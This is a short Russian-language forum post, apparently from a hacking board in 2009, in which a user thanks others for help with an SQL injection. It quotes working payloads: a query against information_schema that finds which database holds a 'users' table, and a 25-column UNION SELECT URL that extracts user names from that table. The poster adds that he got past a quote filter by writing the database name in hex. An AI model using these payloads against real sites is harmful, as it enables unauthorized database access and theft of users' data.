
10.12.2009, 22:33
|
|
Новичок
Регистрация: 05.10.2008
Сообщений: 8
С нами:
9262575
Репутация:
0
|
|
Сообщение от Pashkela
даже интересно стало, кто тебе помог из парней - DeluxeS или 547? Т.е. на чьем примере из этих двух гениев получения имени БД ты достиг нужного результата?
по этому примеру смотрел:
Сообщение от Pashkela
DeluxeS:
не неси бред, такой хрени я не мог писать:
select+table_schema+from+information_schema.tables +where+table_name='users'--
и вот то, что выведет, и подставлять к users через точку, например вывело amx, значит итоговый правильный запрос такой:
http://site.php/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,user,14, 15,16,17,18,19,20,21,22,23,24,25+from+amx.users--
где amx - имя БД, где хранится таблица users
ЗЫЖ Вот уродец, ниже еще один
тока кавычки фильтрует базу пришлось в hex писать.
Еще раз спасибо всем 
|
|
|